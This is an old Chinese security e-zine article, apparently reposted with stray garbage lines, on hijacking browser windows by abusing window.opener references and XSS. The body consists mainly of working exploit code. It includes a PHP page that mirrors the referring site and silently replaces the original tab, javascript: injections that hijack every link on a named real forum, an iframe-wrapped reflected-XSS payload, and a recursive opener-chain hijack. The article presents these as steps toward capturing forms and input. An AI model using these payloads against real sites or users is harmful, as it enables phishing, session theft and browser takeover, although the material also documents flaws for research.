[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==
% G5 _; @" K+ g1 z  C$ W& q
1 X1 k/ K2 C8 ^4 {5 v+ h( E                       Issue 0x03, Phile #0x05 of 0x07
- x+ s! X& G- G5 o+ \, l. U6 W" G5 Z

  }* E/ U$ p, H" @/ U|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|
5 }+ L4 h2 b5 A1 G. g6 I# g. u
% ]& |# _6 F- L$ J1 g: h3 l( ?: Z1 a
[目录]
- t1 }& U: T, f  P7 y# \
1. 前言
) W+ W# k/ t1 f0 C0 I9 N2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
. I4 P/ ]" i) k9 d+ i) R" G: \4 v6. 利用XSS漏洞劫持浏览器
  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
' m( Y/ ^1 L6 f2 y  6.4 极度危险的正反向跨窗口递归劫持
  6.5 完全控制浏览器
( s3 `- i: H8 P1 l# M( {& n7. 后记
8. 参考


一、前言
; I3 v5 Y$ y5 \  L. h, P
) F( n; N, J4 p+ u* W; F    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
% \* m% ~0 a9 l$ _  m$ e友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
' L* [3 M" j6 d; O) g+ J条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。


$ e' r, F$ Y. k* J7 Z6 u7 H% L二、同源策略简叙
0 \. t3 F* J' P; s# \! A
4 s, c- `+ o2 P    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
. U) g4 P  L9 Q6 k/ ^* t曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
* n: V; w5 U' A, [4 m; K" t( ?马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
+ P4 `0 h) g: K; l# y漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。


三、理解window对象的同源策略

3 }* ?% f! u/ G, x    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
7 n. A( M2 E2 W( _! u% v6 O* ?
& Z# u* C+ @( l0 T: `--code-------------------------------------------------------------------------
) p! H  V: j; e' g# B<script language="javascript">
) e/ Z; }" `6 Y  S* o/ wfor(p in window) document.write(p+"<br>");
! Q6 {. E, p7 [0 x7 @</script>
5 K% c0 K/ U: n3 f, x0 [-------------------------------------------------------------------------------

+ T/ p8 h8 W2 Y- L    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。
3 o) L4 f( l" T5 Q; y
    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
+ z4 V$ z% ]; a0 w, {. Z$ y的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
/ x: b: f6 z, z; H7 \个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
. b8 Z+ U  g0 B值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
( }- o$ W5 `+ U/ r, |属性并没有被拒绝访问。
0 B) \+ J/ c; g, O
: b8 F3 P# E3 p% i  v" z--demo.html--------------------------------------------------------------------
# m# L; m2 f) S- W* k* t) J1 N<script language="javascript">   
4 M. Z. ^. [" L2 p8 Mfunction allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){         
            if(typeof(obj[p])=="function"){   
                   obj[p]();   
- I) H4 [, P  a             }else{                     
                  try   
1 Z& u$ T1 X9 U( a                   {   
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
1 p" ?: ]7 U; M, E" ]  w" o                   }   
                  catch (ex)   
; o; J) x/ w3 b8 v. E! H) O                   {   
0 j* V- E9 L  F                  
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
% o4 e9 t) E' M) n3 L8 N# j                   }   
  Q  p$ h! Y6 @+ d" c' X6 H                       
             }   
4 d% A! c0 u/ r  Z  |$ H5 u3 P       }   
2 Q) d4 q9 W# H* h2 c' T" l: d) A4 @   
/ Y6 s3 {: s1 v2 @3 k% [) \       document.write(props+"</table>");   
+ @) \: _, R' F% u* C}   
2 J" ]4 y( N0 H3 |, H* p   
/ t9 P9 Y9 A: D& S: c' Gfunction createWin() {
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){allPrpos(newWin)},2000);
}
  `/ V( s  ?+ g# |, Z
# N  S  e; d6 U' D! T: ?- r</script>
. c1 |, l3 x( t* B. `
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

+ j4 g" x/ D7 B1 p3 _
四、窗口引用功能中的同源策略漏洞
) Y) k2 _0 H$ l! c& U0 [
. i) o" K4 I" ^  D3 t) c6 g4 ~5 w4.1 父窗口引用子窗口的同源策略问题
! r9 W3 a2 ]3 k& l; Y4 H8 I1 U
. _) d, @5 i/ ~/ R0 H    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
( T& |* ~; n0 G" `但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
+ \. K7 s4 K$ {5 y3 e浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。

2 V( t/ |$ @) i, P- ~- \- M5 s--vul1.html--------------------------------------------------------------------
<script language="javascript">
) W9 g) d1 X/ w& z5 A" Wfunction createWin() {  
        newWin = window.open ("http://www.google.com");  
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
% G2 |6 h; k1 T+ c5 x}
</script>

9 G# z9 a1 N- c8 E& q<button onclick='createWin()'>创建一个非同源子窗口测试</button>
: D3 W( r: p) U8 i-------------------------------------------------------------------------------


# `8 L5 a* X8 K4.2 子窗口引用父窗口的同源策略问题
+ Z  b* g4 X6 D6 A6 k" c9 A
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
9 y$ f, }8 d$ _" h& H9 k) M* ], R9 f+ S用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
4 x4 j5 _# u& o1 Z% B可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
- C3 m7 P, U4 ~* D1 {6 A; q: `
--code-------------------------------------------------------------------------

& [* R4 o) f$ H" C& l. F% ~9 n1 cjavascript:window.opener.location = "http://www.80sec.com";void(0);
# i2 q! }" _3 i4 e
# Z9 d6 L- E3 Q# o4 m! Q  l2 r-------------------------------------------------------------------------------


五、利用窗口引用漏洞劫持浏览器
; a8 ]' i& r9 l
    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
# Q6 S7 I! x, }: ~; F0 z窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
- E5 h- s$ _( E; ^" [! l* h: W
    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
, k/ m0 t  Z3 ?* P- f3 D者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。
# v, S" F( {8 K1 W
) ~" }7 g8 g! \' @) o    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
' ]% n6 d6 S$ ?+ ]2 M0 c们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
1 ]' k& [" J  y# p8 g, ?# Y候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

5 k+ P' i# @* H. z--hjk_ref.php------------------------------------------------------------------
<?php
5 }# f* U9 G( vif (array_key_exists("HTTP_REFERER", $_SERVER)) {
% ?, t! x" q1 l( q$Url_Mirror = $_SERVER["HTTP_REFERER"];
) Q, v0 b/ g8 L- C- d- w}
- ?" I: T! \: G7 \, y! B# mif(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
6 ]! D3 G9 x4 T! g$ N?>

+ m/ r) b" R, C! I3 m; h<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
</script>
0 z9 v& v& |" @-------------------------------------------------------------------------------
& o- G/ ]/ B9 K- Q2 w" b4 L- o
7 p" A$ V* O- Q* b& J" q    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
, B2 U2 }! t! }& o. m: C

* z- H1 p( _+ Y. Y六、利用XSS漏洞劫持浏览器

    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
1 m6 I: {' h( c, ^/ u( C: mXSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
- b) c3 L9 ~- v/ X  \5 F( _讨论跨站师的终极技巧：

0 K- W( c9 S, U  }) m3 M
6.1 正向跨窗口劫持
( ~9 t' u9 }3 }. I
    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
6 @" V) S" Y9 L& x* F接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
' m4 s$ Z2 p3 ~8 O+ v, x框脚本。
, z  C, F6 R; Q/ S
6 N" J+ R0 x  A( w--hijack_open.js---------------------------------------------------------------

5 @' J6 R1 a* s& ljavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
! w/ S, {; ], e
-------------------------------------------------------------------------------

: O+ V# g2 c/ H
" i6 E' H+ N: I( s6.2 反向跨窗口劫持

2 _9 X3 C$ T/ b$ b& f9 z8 c: K    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
* e7 A1 a9 A4 m* `  M7 f: K框脚本。
7 X; B' n% |: s
8 r; G) h. K. W+ }--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
1 f, _% U  Q( E/ k2 i$ H% E/ N
-------------------------------------------------------------------------------
. u3 V6 y6 _* y$ D. B; P% E

6.3 极度危险的跨框架窗口引用劫持
+ d) f. v& p# y  G- n" Y
    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
8 F" _6 ]: p9 x& l" u0 K; p6 ^5 a适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
, Y# q5 |/ M. t6 A非持久型的XSS，如下：
: m. S7 M1 T; N% k
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
3 B! M% X1 C% f+ }9 l9 u0 Q* U
! j' X9 l! U( T% y, L    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
% R) {, r+ f6 v" Y% R<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------


6.4 极度危险的正反向跨窗口递归劫持
' `9 _! b2 l6 T2 @# ~. [
    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
4 y( }2 O  q/ L. n4 Y3 a的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：
4 o  L* r+ }4 K, n/ v% x% B
+ n4 d: m4 R2 f--code-------------------------------------------------------------------------

javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------
8 F/ b2 p0 b$ {6 a$ j
    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
/ R, R3 y. o) W* U! a  C- K4 p以劫持B域之前的A域页面，从而实现“隔空打击”。
9 ^* f! e, Q9 V4 x; ~; d0 S
9 V1 B+ |) L& q0 i0 M/ K/ ^$ U    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
* y5 d6 p& g+ F8 \, T, C/ ~8 h( D; n执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。
7 b% [: o! f; @2 y+ ]& G$ V
    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

5 c4 O8 O* @( z6 n: h
6.5 完全控制浏览器
; K2 W5 a! O* ~8 I
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
2 s7 c5 t+ {6 f6 ]2 A. f列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。


七、后记

. C  h# w) X5 a* _: _  u& ?! s    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
  J$ M% A8 ]8 F过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


9 b/ S: j' e* R/ L0 U7 t& m八、参考

) h1 [- S# t! T& j& i& d1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browser ... licy_for_DOM_access
+ F& u6 `/ J% t. A3 _3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
. K; s- T# k( m  P- n" [" ]3 X5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html
! u/ ^5 y! Q8 s
-EOF-